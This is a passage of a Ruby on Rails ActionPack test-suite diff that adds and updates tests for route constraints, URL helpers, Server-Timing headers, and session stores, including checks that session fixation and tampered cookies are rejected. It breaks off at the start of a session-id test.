+class TestRecognizePath < ActionDispatch::IntegrationTest
+  class PageConstraint
+    attr_reader :key, :pattern
+
+    def initialize(key, pattern)
+      @key = key
+      @pattern = pattern
+    end
+
+    def matches?(request)
+      pattern.match?(request.path_parameters[key])
+    end
+  end
+
+  stub_controllers do |routes|
+    Routes = routes
+    routes.draw do
+      get "/hash/:foo", to: "pages#show", constraints: { foo: /foo/ }
+      get "/hash/:bar", to: "pages#show", constraints: { bar: /bar/ }
+
+      get "/proc/:foo", to: "pages#show", constraints: proc { |r| /foo/.match?(r.path_parameters[:foo]) }
+      get "/proc/:bar", to: "pages#show", constraints: proc { |r| /bar/.match?(r.path_parameters[:bar]) }
+
+      get "/class/:foo", to: "pages#show", constraints: PageConstraint.new(:foo, /foo/)
+      get "/class/:bar", to: "pages#show", constraints: PageConstraint.new(:bar, /bar/)
+    end
+  end
+
+  APP = build_app Routes
+  def app
+    APP
+  end
+
+  def test_hash_constraints_dont_leak_between_routes
+    expected_params = { controller: "pages", action: "show", bar: "bar" }
+    actual_params = recognize_path("/hash/bar")
+
+    assert_equal expected_params, actual_params
+  end
+
+  def test_proc_constraints_dont_leak_between_routes
+    expected_params = { controller: "pages", action: "show", bar: "bar" }
+    actual_params = recognize_path("/proc/bar")
+
+    assert_equal expected_params, actual_params
+  end
+
+  def test_class_constraints_dont_leak_between_routes
+    expected_params = { controller: "pages", action: "show", bar: "bar" }
+    actual_params = recognize_path("/class/bar")
+
+    assert_equal expected_params, actual_params
+  end
+
+  private
+    def recognize_path(*args)
+      Routes.recognize_path(*args)
+    end
+end
+
+class TestRelativeUrlRootGeneration < ActionDispatch::IntegrationTest
+  config = ActionDispatch::Routing::RouteSet::Config.new("/blog", false)
+
+  stub_controllers(config) do |routes|
+    Routes = routes
+
+    routes.draw do
+      get "/", to: "posts#index", as: :posts
+      get "/:id", to: "posts#show", as: :post
+    end
+  end
+
+  include Routes.url_helpers
+
+  APP = build_app Routes
+
+  def app
+    APP
+  end
+
+  def test_url_helpers
+    assert_equal "/blog/", posts_path({})
+    assert_equal "/blog/", Routes.url_helpers.posts_path({})
+
+    assert_equal "/blog/1", post_path(id: "1")
+    assert_equal "/blog/1", Routes.url_helpers.post_path(id: "1")
+  end
+
+  def test_optimized_url_helpers
+    assert_equal "/blog/", posts_path
+    assert_equal "/blog/", Routes.url_helpers.posts_path
+
+    assert_equal "/blog/1", post_path("1")
+    assert_equal "/blog/1", Routes.url_helpers.post_path("1")
+  end
+end
diff --git a/actionpack/test/dispatch/runner_test.rb b/actionpack/test/dispatch/runner_test.rb
index b76bf4a3207ce..f16c7963af213 100644
--- a/actionpack/test/dispatch/runner_test.rb
+++ b/actionpack/test/dispatch/runner_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class RunnerTest < ActiveSupport::TestCase
diff --git a/actionpack/test/dispatch/server_timing_test.rb b/actionpack/test/dispatch/server_timing_test.rb
new file mode 100644
index 0000000000000..110cda79d82db
--- /dev/null
+++ b/actionpack/test/dispatch/server_timing_test.rb
@@ -0,0 +1,140 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ServerTimingTest < ActionDispatch::IntegrationTest
+  class TestController < ActionController::Base
+    def index
+      head :ok
+    end
+
+    def show
+      ActiveSupport::Notifications.instrument("custom.event") do
+        true
+      end
+      head :ok
+    end
+
+    def create
+      ActiveSupport::Notifications.instrument("custom.event") do
+        raise
+      end
+    end
+  end
+
+  setup do
+    @middlewares = [Rack::Lint, ActionDispatch::ServerTiming, Rack::Lint]
+    @header_name = ActionDispatch::Constants::SERVER_TIMING
+  end
+
+  teardown do
+    # Avoid leaking subscription into other tests
+    # This will break any active instance of the middleware, but we don't
+    # expect there to be any outside of this file.
+    ActionDispatch::ServerTiming.unsubscribe
+  end
+
+  test "server timing header is included in the response" do
+    with_test_route_set do
+      get "/"
+      assert_match(/\w+/, @response.headers[@header_name])
+    end
+  end
+
+  test "includes default action controller events duration" do
+    with_test_route_set do
+      get "/"
+      assert_match(/start_processing.action_controller;dur=\w+/, @response.headers[@header_name])
+      assert_match(/process_action.action_controller;dur=\w+/, @response.headers[@header_name])
+    end
+  end
+
+  test "includes custom active support events duration" do
+    with_test_route_set do
+      get "/id"
+      assert_match(/custom.event;dur=\w+/, @response.headers[@header_name])
+    end
+  end
+
+  test "events are tracked by thread" do
+    barrier = Concurrent::CyclicBarrier.new(2)
+
+    stub_app = -> (env) {
+      env["action_dispatch.test"].call
+      [200, {}, "ok"]
+    }
+    app = Rack::Lint.new(
+      ActionDispatch::ServerTiming.new(Rack::Lint.new(stub_app))
+    )
+
+    t1 = Thread.new do
+      proc = -> {
+        barrier.wait
+        barrier.wait
+      }
+      env = Rack::MockRequest.env_for("", { "action_dispatch.test" => proc })
+      app.call(env)
+    end
+
+    t2 = Thread.new do
+      barrier.wait
+      proc = -> {
+        ActiveSupport::Notifications.instrument("custom.event") do
+          true
+        end
+      }
+      env = Rack::MockRequest.env_for("", { "action_dispatch.test" => proc })
+      response = app.call(env)
+
+      barrier.wait
+
+      response
+    end
+
+    headers1 = t1.value[1]
+    headers2 = t2.value[1]
+
+    assert_match(/custom.event;dur=\w+/, headers2[@header_name])
+    assert_no_match(/custom.event;dur=\w+/, headers1[@header_name])
+  end
+
+  test "does not overwrite existing header values" do
+    @middlewares << Class.new do
+      def initialize(app)
+        @app = app
+      end
+
+      def call(env)
+        status, headers, body = @app.call(env)
+        header_name = ActionDispatch::Constants::SERVER_TIMING
+        headers[header_name] = [headers[header_name], %(entry;desc="description")].compact.join(", ")
+        [ status, headers, body ]
+      end
+    end
+
+    with_test_route_set do
+      get "/"
+      assert_match(/entry;desc="description"/, @response.headers[@header_name])
+      assert_match(/start_processing.action_controller;dur=\w+/, @response.headers[@header_name])
+    end
+  end
+
+  private
+    def app
+      @app ||= self.class.build_app do |middleware|
+        @middlewares.each { |m| middleware.use m }
+      end
+    end
+
+    def with_test_route_set
+      with_routing do |set|
+        set.draw do
+          get "/", to: ::ServerTimingTest::TestController.action(:index)
+          get "/id", to: ::ServerTimingTest::TestController.action(:show)
+          post "/", to: ::ServerTimingTest::TestController.action(:create)
+        end
+
+        yield
+      end
+    end
+end
diff --git a/actionpack/test/dispatch/session/abstract_secure_store_test.rb b/actionpack/test/dispatch/session/abstract_secure_store_test.rb
new file mode 100644
index 0000000000000..64a6a7c641665
--- /dev/null
+++ b/actionpack/test/dispatch/session/abstract_secure_store_test.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_dispatch/middleware/session/abstract_store"
+
+module ActionDispatch
+  module Session
+    class AbstractSecureStoreTest < ActiveSupport::TestCase
+      class MemoryStore < AbstractSecureStore
+        class SessionId < Rack::Session::SessionId
+          attr_reader :cookie_value
+
+          def initialize(session_id, cookie_value)
+            super(session_id)
+            @cookie_value = cookie_value
+          end
+        end
+
+        def initialize(app)
+          @sessions = {}
+          super
+        end
+
+        def find_session(env, sid)
+          sid ||= 1
+          session = @sessions[sid] ||= {}
+          [sid, session]
+        end
+
+        def write_session(env, sid, session, options)
+          @sessions[sid] = SessionId.new(sid, session)
+        end
+
+        def session_exists?(req)
+          true
+        end
+      end
+
+      def test_session_is_set
+        env = {}
+        as = MemoryStore.new app
+        as.call(env)
+
+        assert @env
+        assert Request::Session.find ActionDispatch::Request.new @env
+      end
+
+      def test_new_session_object_is_merged_with_old
+        env = {}
+        as = MemoryStore.new app
+        as.call(env)
+
+        assert @env
+        session = Request::Session.find ActionDispatch::Request.new @env
+        session["foo"] = "bar"
+
+        as.call(@env)
+        session1 = Request::Session.find ActionDispatch::Request.new @env
+
+        assert_not_equal session, session1
+        assert_equal session.to_hash, session1.to_hash
+      end
+
+      private
+        def app(&block)
+          @env = nil
+          lambda { |env| @env = env }
+        end
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/session/abstract_store_test.rb b/actionpack/test/dispatch/session/abstract_store_test.rb
index fd4d359cf852c..b3c7eeed614e8 100644
--- a/actionpack/test/dispatch/session/abstract_store_test.rb
+++ b/actionpack/test/dispatch/session/abstract_store_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_dispatch/middleware/session/abstract_store"
 
@@ -19,6 +21,10 @@ def find_session(env, sid)
         def write_session(env, sid, session, options)
           @sessions[sid] = session
         end
+
+        def session_exists?(req)
+          true
+        end
       end
 
       def test_session_is_set
@@ -46,6 +52,17 @@ def test_new_session_object_is_merged_with_old
         assert_equal session.to_hash, session1.to_hash
       end
 
+      def test_update_raises_an_exception_if_arg_not_hashable
+        env = {}
+        as = MemoryStore.new app
+        as.call(env)
+        session = Request::Session.find ActionDispatch::Request.new env
+
+        assert_raise TypeError do
+          session.update("Not hashable")
+        end
+      end
+
       private
         def app(&block)
           @env = nil
diff --git a/actionpack/test/dispatch/session/cache_store_test.rb b/actionpack/test/dispatch/session/cache_store_test.rb
index 859059063f73e..2b7a7d3faab16 100644
--- a/actionpack/test/dispatch/session/cache_store_test.rb
+++ b/actionpack/test/dispatch/session/cache_store_test.rb
@@ -1,5 +1,6 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
-require "fixtures/session_autoload_test/session_autoload_test/foo"
 
 class CacheStoreTest < ActionDispatch::IntegrationTest
   class TestController < ActionController::Base
@@ -22,7 +23,7 @@ def get_session_value
     end
 
     def get_session_id
-      render plain: "#{request.session.id}"
+      render plain: "#{request.session.id.public_id}"
     end
 
     def call_reset_session
@@ -58,7 +59,7 @@ def test_getting_session_value_after_session_reset
       get "/set_session_value"
       assert_response :success
       assert cookies["_session_id"]
-      session_cookie = cookies.send(:hash_for)["_session_id"]
+      session_cookie = cookies.get_cookie("_session_id")
 
       get "/call_reset_session"
       assert_response :success
@@ -91,6 +92,7 @@ def test_setting_session_value_after_session_reset
       get "/call_reset_session"
       assert_response :success
       assert_not_equal [], headers["Set-Cookie"]
+      assert_not_nil headers["Set-Cookie"]
 
       get "/get_session_value"
       assert_response :success
@@ -148,33 +150,115 @@ def test_doesnt_write_session_cookie_if_session_id_is_already_exists
 
   def test_prevents_session_fixation
     with_test_route_set do
-      assert_nil @cache.read("_session_id:0xhax")
+      sid = Rack::Session::SessionId.new("0xhax")
+      assert_nil @cache.read("_session_id:#{sid.private_id}")
+
+      cookies["_session_id"] = sid.public_id
+      get "/set_session_value"
+
+      assert_response :success
+      assert_not_equal sid.public_id, cookies["_session_id"]
+      assert_nil @cache.read("_session_id:#{sid.private_id}")
+      assert_equal(
+        { "foo" => "bar" },
+        @cache.read("_session_id:#{Rack::Session::SessionId.new(cookies['_session_id']).private_id}")
+      )
+    end
+  end
+
+  def test_can_read_session_with_legacy_id
+    with_test_route_set do
+      get "/set_session_value"
+      assert_response :success
+      assert cookies["_session_id"]
 
-      cookies["_session_id"] = "0xhax"
+      sid = Rack::Session::SessionId.new(cookies["_session_id"])
+      session = @cache.read("_session_id:#{sid.private_id}")
+      @cache.delete("_session_id:#{sid.private_id}")
+      @cache.write("_session_id:#{sid.public_id}", session)
+
+      get "/get_session_value"
+      assert_response :success
+      assert_equal 'foo: "bar"', response.body
+    end
+  end
+
+  def test_drop_session_in_the_legacy_id_as_well
+    with_test_route_set do
       get "/set_session_value"
+      assert_response :success
+      assert cookies["_session_id"]
+
+      sid = Rack::Session::SessionId.new(cookies["_session_id"])
+      session = @cache.read("_session_id:#{sid.private_id}")
+      @cache.delete("_session_id:#{sid.private_id}")
+      @cache.write("_session_id:#{sid.public_id}", session)
 
+      get "/call_reset_session"
       assert_response :success
-      assert_not_equal "0xhax", cookies["_session_id"]
-      assert_nil @cache.read("_session_id:0xhax")
-      assert_equal({ "foo" => "bar" }, @cache.read("_session_id:#{cookies['_session_id']}"))
+      assert_not_equal [], headers["Set-Cookie"]
+
+      assert_nil @cache.read("_session_id:#{sid.private_id}")
+      assert_nil @cache.read("_session_id:#{sid.public_id}")
+    end
+  end
+
+  def test_doesnt_generate_same_sid_with_check_collisions
+    cache_store_options({ check_collisions: true })
+
+    expected_values = [
+      +"eed45f3da20b5c4da3bc3b160f996315",
+      +"eed45f3da20b5c4da3bc3b160f996315",
+      +"eed45f3da20b5c4da3bc3b160f996316",
+    ]
+    counter = -1
+    hex_generator = proc do
+      counter += 1
+      expected_values[counter]
+    end
+
+    SecureRandom.stub(:hex, hex_generator) do
+      with_test_route_set do
+        get "/set_session_value"
+        assert_response :success
+        assert cookies["_session_id"]
+
+        first_sid = Rack::Session::SessionId.new(cookies["_session_id"])
+        assert_equal expected_values[0], first_sid.public_id
+
+        cookies.delete("_session_id")
+
+        get "/set_session_value"
+        assert_response :success
+        assert cookies["_session_id"]
+
+        second_sid = Rack::Session::SessionId.new(cookies["_session_id"])
+        assert_equal expected_values[2], second_sid.public_id
+      end
     end
   end
 
   private
+    def cache_store_options(options = {})
+      @cache_store_options ||= options
+    end
+
+    def app
+      @app ||= self.class.build_app do |middleware|
+        @cache = ActiveSupport::Cache::MemoryStore.new
+        middleware.use ActionDispatch::Session::CacheStore, key: "_session_id", cache: @cache, **cache_store_options
+        middleware.delete ActionDispatch::ShowExceptions
+      end
+    end
+
     def with_test_route_set
       with_routing do |set|
         set.draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             get ":action", to: ::CacheStoreTest::TestController
           end
         end
 
-        @app = self.class.build_app(set) do |middleware|
-          @cache = ActiveSupport::Cache::MemoryStore.new
-          middleware.use ActionDispatch::Session::CacheStore, key: "_session_id", cache: @cache
-          middleware.delete ActionDispatch::ShowExceptions
-        end
-
         yield
       end
     end
diff --git a/actionpack/test/dispatch/session/cookie_store_test.rb b/actionpack/test/dispatch/session/cookie_store_test.rb
index 63dfc07c0d23a..f5239cd2cc366 100644
--- a/actionpack/test/dispatch/session/cookie_store_test.rb
+++ b/actionpack/test/dispatch/session/cookie_store_test.rb
@@ -1,14 +1,23 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "stringio"
 require "active_support/key_generator"
+require "active_support/messages/rotation_configuration"
 
 class CookieStoreTest < ActionDispatch::IntegrationTest
   SessionKey = "_myapp_session"
   SessionSecret = "b3c631c314c0bbca50c1b2843150fe33"
-  Generator = ActiveSupport::LegacyKeyGenerator.new(SessionSecret)
+  SessionSalt   = "authenticated encrypted cookie"
+
+  Generator = ActiveSupport::KeyGenerator.new(SessionSecret, iterations: 1000)
+  Rotations = ActiveSupport::Messages::RotationConfiguration.new
+
+  SameSite = proc { :lax }
 
-  Verifier = ActiveSupport::MessageVerifier.new(SessionSecret, digest: "SHA1")
-  SignedBar = Verifier.generate(foo: "bar", session_id: SecureRandom.hex(16))
+  Encryptor = ActiveSupport::MessageEncryptor.new(
+    Generator.generate_key(SessionSalt, 32), cipher: "aes-256-gcm", serializer: Marshal
+  )
 
   class TestController < ActionController::Base
     def no_session_access
@@ -21,7 +30,7 @@ def persistent_session_id
 
     def set_session_value
       session[:foo] = "bar"
-      render plain: Rack::Utils.escape(Verifier.generate(session.to_hash))
+      render body: nil
     end
 
     def get_session_value
@@ -29,7 +38,7 @@ def get_session_value
     end
 
     def get_session_id
-      render plain: "id: #{request.session.id}"
+      render plain: "id: #{request.session.id&.public_id}"
     end
 
     def get_class_after_reset_session
@@ -63,19 +72,42 @@ def renew_session_id
     end
   end
 
+  include CookieAssertions
+
+  def assert_session_cookie(attributes_string, contents)
+    cookies = parse_set_cookies_headers(headers["Set-Cookie"])
+
+    if session_cookie = cookies[SessionKey]
+      if attributes_string
+        expected_attributes = parse_set_cookie_attributes(attributes_string)
+
+        expected_attributes.each do |key, value|
+          assert_equal value, session_cookie[key], "expected #{key} to be #{value.inspect}, but was #{session_cookie[key].inspect}"
+        end
+      end
+
+      session_value = session_cookie[:value]
+      session_data = Encryptor.decrypt_and_verify(Rack::Utils.unescape(session_value)) rescue nil
+    end
+
+    assert_not_nil session_data, "session failed to decrypt"
+    assert_equal session_data.slice(*contents.keys), contents
+  end
+
   def test_setting_session_value
     with_test_route_set do
       get "/set_session_value"
+
       assert_response :success
-      assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
-        headers["Set-Cookie"]
+      assert_session_cookie "path=/; HttpOnly", { "foo" => "bar" }
     end
   end
 
   def test_getting_session_value
     with_test_route_set do
-      cookies[SessionKey] = SignedBar
+      get "/set_session_value"
       get "/get_session_value"
+
       assert_response :success
       assert_equal 'foo: "bar"', response.body
     end
@@ -83,8 +115,9 @@ def test_getting_session_value
 
   def test_getting_session_id
     with_test_route_set do
-      cookies[SessionKey] = SignedBar
+      get "/set_session_value"
       get "/persistent_session_id"
+
       assert_response :success
       assert_equal 32, response.body.size
       session_id = response.body
@@ -97,15 +130,21 @@ def test_getting_session_id
 
   def test_disregards_tampered_sessions
     with_test_route_set do
-      cookies[SessionKey] = "BAh7BjoIZm9vIghiYXI%3D--123456780"
+      encryptor = ActiveSupport::MessageEncryptor.new("A" * 32, cipher: "aes-256-gcm", serializer: Marshal)
+
+      cookies[SessionKey] = encryptor.encrypt_and_sign({ "foo" => "bar", "session_id" => "abc" })
+
       get "/get_session_value"
+
       assert_response :success
       assert_equal "foo: nil", response.body
     end
   end
 
   def test_does_not_set_secure_cookies_over_http
-    with_test_route_set(secure: true) do
+    cookie_options(secure: true)
+
+    with_test_route_set do
       get "/set_session_value"
       assert_response :success
       assert_nil headers["Set-Cookie"]
@@ -124,21 +163,23 @@ def test_properly_renew_cookies
   end
 
   def test_does_set_secure_cookies_over_https
-    with_test_route_set(secure: true) do
+    cookie_options(secure: true)
+
+    with_test_route_set do
       get "/set_session_value", headers: { "HTTPS" => "on" }
+
       assert_response :success
-      assert_equal "_myapp_session=#{response.body}; path=/; secure; HttpOnly",
-        headers["Set-Cookie"]
+      assert_session_cookie "path=/; secure; HttpOnly", "foo" => "bar"
     end
   end
 
   # {:foo=>#<SessionAutoloadTest::Foo bar:"baz">, :session_id=>"ce8b0752a6ab7c7af3cdb8a80e6b9e46"}
-  SignedSerializedCookie = "BAh7BzoIZm9vbzodU2Vzc2lvbkF1dG9sb2FkVGVzdDo6Rm9vBjoJQGJhciIIYmF6Og9zZXNzaW9uX2lkIiVjZThiMDc1MmE2YWI3YzdhZjNjZGI4YTgwZTZiOWU0Ng==--2bf3af1ae8bd4e52b9ac2099258ace0c380e601c"
+  EncryptedSerializedCookie = "9RZ2Fij0qLveUwM4s+CCjGqhpjyUC8jiBIf/AiBr9M3TB8xh2vQZtvSOMfN3uf6oYbbpIDHAcOFIEl69FcW1ozQYeSrCLonYCazoh34ZdYskIQfGwCiSYleVXG1OD9Z4jFqeVArw4Ewm0paOOPLbN1rc6A==--I359v/KWdZ1ok0ey--JFFhuPOY7WUo6tB/eP05Aw=="
 
   def test_deserializes_unloaded_classes_on_get_id
     with_test_route_set do
       with_autoload_path "session_autoload_test" do
-        cookies[SessionKey] = SignedSerializedCookie
+        cookies[SessionKey] = EncryptedSerializedCookie
         get "/get_session_id"
         assert_response :success
         assert_equal "id: ce8b0752a6ab7c7af3cdb8a80e6b9e46", response.body, "should auto-load unloaded class"
@@ -149,7 +190,7 @@ def test_deserializes_unloaded_classes_on_get_id
   def test_deserializes_unloaded_classes_on_get_value
     with_test_route_set do
       with_autoload_path "session_autoload_test" do
-        cookies[SessionKey] = SignedSerializedCookie
+        cookies[SessionKey] = EncryptedSerializedCookie
         get "/get_session_value"
         assert_response :success
         assert_equal 'foo: #<SessionAutoloadTest::Foo bar:"baz">', response.body, "should auto-load unloaded class"
@@ -159,9 +200,10 @@ def test_deserializes_unloaded_classes_on_get_value
 
   def test_close_raises_when_data_overflows
     with_test_route_set do
-      assert_raise(ActionDispatch::Cookies::CookieOverflow) {
+      error = assert_raise(ActionDispatch::Cookies::CookieOverflow) {
         get "/raise_data_overflow"
       }
+      assert_equal "_myapp_session cookie overflowed with size 5626 bytes", error.message
     end
   end
 
@@ -188,12 +230,12 @@ def test_setting_session_value_after_session_reset
       get "/set_session_value"
       assert_response :success
       session_payload = response.body
-      assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
-        headers["Set-Cookie"]
+      assert_session_cookie "path=/; HttpOnly", "foo" => "bar"
 
       get "/call_reset_session"
       assert_response :success
       assert_not_equal [], headers["Set-Cookie"]
+      assert_not_nil headers["Set-Cookie"]
       assert_not_nil session_payload
       assert_not_equal session_payload, cookies[SessionKey]
 
@@ -207,8 +249,7 @@ def test_class_type_after_session_reset
     with_test_route_set do
       get "/set_session_value"
       assert_response :success
-      assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
-        headers["Set-Cookie"]
+      assert_session_cookie "path=/; HttpOnly", "foo" => "bar"
 
       get "/get_class_after_reset_session"
       assert_response :success
@@ -230,8 +271,7 @@ def test_setting_session_value_after_session_clear
     with_test_route_set do
       get "/set_session_value"
       assert_response :success
-      assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
-        headers["Set-Cookie"]
+      assert_session_cookie "path=/; HttpOnly", "foo" => "bar"
 
       get "/call_session_clear"
       assert_response :success
@@ -244,7 +284,7 @@ def test_setting_session_value_after_session_clear
 
   def test_persistent_session_id
     with_test_route_set do
-      cookies[SessionKey] = SignedBar
+      get "/set_session_value"
       get "/persistent_session_id"
       assert_response :success
       assert_equal 32, response.body.size
@@ -259,8 +299,7 @@ def test_persistent_session_id
 
   def test_setting_session_id_to_nil_is_respected
     with_test_route_set do
-      cookies[SessionKey] = SignedBar
-
+      get "/set_session_value"
       get "/get_session_id"
       sid = response.body
       assert_equal 36, sid.size
@@ -271,40 +310,68 @@ def test_setting_session_id_to_nil_is_respected
   end
 
   def test_session_store_with_expire_after
-    with_test_route_set(expire_after: 5.hours) do
+    cookie_options(expire_after: 5.hours)
+
+    with_test_route_set do
       # First request accesses the session
       time = Time.local(2008, 4, 24)
-      cookie_body = nil
 
       Time.stub :now, time do
-        expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d %b %Y %H:%M:%S -0000")
-
-        cookies[SessionKey] = SignedBar
+        expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d %b %Y %H:%M:%S GMT")
 
         get "/set_session_value"
-        assert_response :success
 
-        cookie_body = response.body
-        assert_equal "_myapp_session=#{cookie_body}; path=/; expires=#{expected_expiry}; HttpOnly",
-          headers["Set-Cookie"]
+        assert_response :success
+        assert_session_cookie "path=/; expires=#{expected_expiry}; HttpOnly", "foo" => "bar"
       end
 
       # Second request does not access the session
-      time = Time.local(2008, 4, 25)
+      time = time + 3.hours
       Time.stub :now, time do
-        expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d %b %Y %H:%M:%S -0000")
+        expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d %b %Y %H:%M:%S GMT")
 
         get "/no_session_access"
+
         assert_response :success
+        assert_session_cookie "path=/; expires=#{expected_expiry}; HttpOnly", "foo" => "bar"
+      end
+    end
+  end
+
+  def test_session_store_with_expire_after_does_not_accept_expired_session
+    cookie_options(expire_after: 5.hours)
+
+    with_test_route_set do
+      # First request accesses the session
+      time = Time.local(2017, 11, 12)
+
+      Time.stub :now, time do
+        expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d %b %Y %H:%M:%S GMT")
 
-        assert_equal "_myapp_session=#{cookie_body}; path=/; expires=#{expected_expiry}; HttpOnly",
-          headers["Set-Cookie"]
+        get "/set_session_value"
+        get "/get_session_value"
+
+        assert_response :success
+        assert_equal 'foo: "bar"', response.body
+        assert_session_cookie "path=/; expires=#{expected_expiry}; HttpOnly", "foo" => "bar"
+      end
+
+      # Second request is beyond the expiry time and the session is invalidated
+      time += 5.hours + 1.minute
+
+      Time.stub :now, time do
+        get "/get_session_value"
+
+        assert_response :success
+        assert_equal "foo: nil", response.body
       end
     end
   end
 
   def test_session_store_with_explicit_domain
-    with_test_route_set(domain: "example.es") do
+    cookie_options(domain: "example.es")
+
+    with_test_route_set do
       get "/set_session_value"
       assert_match(/domain=example\.es/, headers["Set-Cookie"])
       headers["Set-Cookie"]
@@ -314,49 +381,90 @@ def test_session_store_with_explicit_domain
   def test_session_store_without_domain
     with_test_route_set do
       get "/set_session_value"
-      assert_no_match(/domain\=/, headers["Set-Cookie"])
+      assert_no_match(/domain=/, headers["Set-Cookie"])
     end
   end
 
   def test_session_store_with_nil_domain
-    with_test_route_set(domain: nil) do
+    cookie_options(domain: nil)
+
+    with_test_route_set do
       get "/set_session_value"
-      assert_no_match(/domain\=/, headers["Set-Cookie"])
+      assert_no_match(/domain=/, headers["Set-Cookie"])
     end
   end
 
   def test_session_store_with_all_domains
-    with_test_route_set(domain: :all) do
+    cookie_options(domain: :all)
+
+    with_test_route_set do
+      get "/set_session_value"
+      assert_match(/domain=example\.com/, headers["Set-Cookie"])
+    end
+  end
+
+  test "default same_site derives SameSite from env" do
+    with_test_route_set do
       get "/set_session_value"
-      assert_match(/domain=\.example\.com/, headers["Set-Cookie"])
+      assert_set_cookie_attributes("_myapp_session", "SameSite=Lax")
+    end
+  end
+
+  test "explicit same_site sets SameSite" do
+    cookie_options(same_site: :strict)
+
+    with_test_route_set do
+      get "/set_session_value"
+      assert_set_cookie_attributes("_myapp_session", "SameSite=Strict")
+    end
+  end
+
+  test "explicit nil same_site omits SameSite" do
+    cookie_options(same_site: nil)
+
+    with_test_route_set do
+      get "/set_session_value"
+      assert_not_set_cookie_attributes("_myapp_session", "SameSite")
     end
   end
 
   private
+    # Overwrite `get` to set env hash
+    def get(path, **options)
+      options[:headers] ||= {}
+      options[:headers].tap do |config|
+        config["action_dispatch.secret_key_base"] = SessionSecret
+        config["action_dispatch.authenticated_encrypted_cookie_salt"] = SessionSalt
+        config["action_dispatch.use_authenticated_cookie_encryption"] = true
+
+        config["action_dispatch.key_generator"] ||= Generator
+        config["action_dispatch.cookies_rotations"] ||= Rotations
+
+        config["action_dispatch.cookies_same_site_protection"] ||= SameSite
+      end
+
+      super
+    end
+
+    def cookie_options(options = {})
+      (@cookie_options ||= { key: SessionKey }).merge!(options)
+    end
 
-    # Overwrite get to send SessionSecret in env hash
-    def get(path, *args)
-      args[0] ||= {}
-      args[0][:headers] ||= {}
-      args[0][:headers]["action_dispatch.key_generator"] ||= Generator
-      super(path, *args)
+    def app
+      @app ||= self.class.build_app do |middleware|
+        middleware.use ActionDispatch::Session::CookieStore, cookie_options
+        middleware.delete ActionDispatch::ShowExceptions
+      end
     end
 
-    def with_test_route_set(options = {})
+    def with_test_route_set
       with_routing do |set|
         set.draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             get ":action", to: ::CookieStoreTest::TestController
           end
         end
 
-        options = { key: SessionKey }.merge!(options)
-
-        @app = self.class.build_app(set) do |middleware|
-          middleware.use ActionDispatch::Session::CookieStore, options
-          middleware.delete ActionDispatch::ShowExceptions
-        end
-
         yield
       end
     end
diff --git a/actionpack/test/dispatch/session/mem_cache_store_test.rb b/actionpack/test/dispatch/session/mem_cache_store_test.rb
index 121e9ebef7bd0..0405ff3e5fb52 100644
--- a/actionpack/test/dispatch/session/mem_cache_store_test.rb
+++ b/actionpack/test/dispatch/session/mem_cache_store_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "securerandom"
 
@@ -36,8 +38,9 @@ def call_reset_session
 
   begin
     require "dalli"
-    ss = Dalli::Client.new("localhost:11211").stats
-    raise Dalli::DalliError unless ss["localhost:11211"]
+    servers = ENV["MEMCACHE_SERVERS"] || "localhost:11211"
+    ss = Dalli::Client.new(servers).stats
+    raise Dalli::DalliError unless ss[servers] || ss[servers + ":11211"]
 
     def test_setting_and_getting_session_value
       with_test_route_set do
@@ -68,7 +71,7 @@ def test_getting_session_value_after_session_reset
         get "/set_session_value"
         assert_response :success
         assert cookies["_session_id"]
-        session_cookie = cookies.send(:hash_for)["_session_id"]
+        session_cookie = cookies.get_cookie("_session_id")
 
         get "/call_reset_session"
         assert_response :success
@@ -184,19 +187,24 @@ def test_prevents_session_fixation
   end
 
   private
+    def app
+      @app ||= self.class.build_app do |middleware|
+        middleware.use ActionDispatch::Session::MemCacheStore,
+          key: "_session_id", namespace: "mem_cache_store_test:#{SecureRandom.hex(10)}",
+          memcache_server: ENV["MEMCACHE_SERVERS"] || "localhost:11211",
+          socket_timeout: 60
+        middleware.delete ActionDispatch::ShowExceptions
+      end
+    end
+
     def with_test_route_set
       with_routing do |set|
         set.draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             get ":action", to: ::MemCacheStoreTest::TestController
           end
         end
 
-        @app = self.class.build_app(set) do |middleware|
-          middleware.use ActionDispatch::Session::MemCacheStore, key: "_session_id", namespace: "mem_cache_store_test:#{SecureRandom.hex(10)}"
-          middleware.delete ActionDispatch::ShowExceptions
-        end
-
         yield
       end
     end
diff --git a/actionpack/test/dispatch/session/test_session_test.rb b/actionpack/test/dispatch/session/test_session_test.rb
index 0bf3a8b3ee9fa..d05a34a620274 100644
--- a/actionpack/test/dispatch/session/test_session_test.rb
+++ b/actionpack/test/dispatch/session/test_session_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "stringio"
 
@@ -41,6 +43,12 @@ def test_keys_and_values
     assert_equal %w(1 2), session.values
   end
 
+  def test_dig
+    session = ActionController::TestSession.new(one: { two: { three: "3" } })
+    assert_equal("3", session.dig(:one, :two, :three))
+    assert_nil(session.dig(:ruby, :on, :rails))
+  end
+
   def test_fetch_returns_default
     session = ActionController::TestSession.new(one: "1")
     assert_equal("2", session.fetch(:two, "2"))
@@ -60,4 +68,16 @@ def test_fetch_returns_block_value
     session = ActionController::TestSession.new(one: "1")
     assert_equal(2, session.fetch("2") { |key| key.to_i })
   end
+
+  def test_session_id
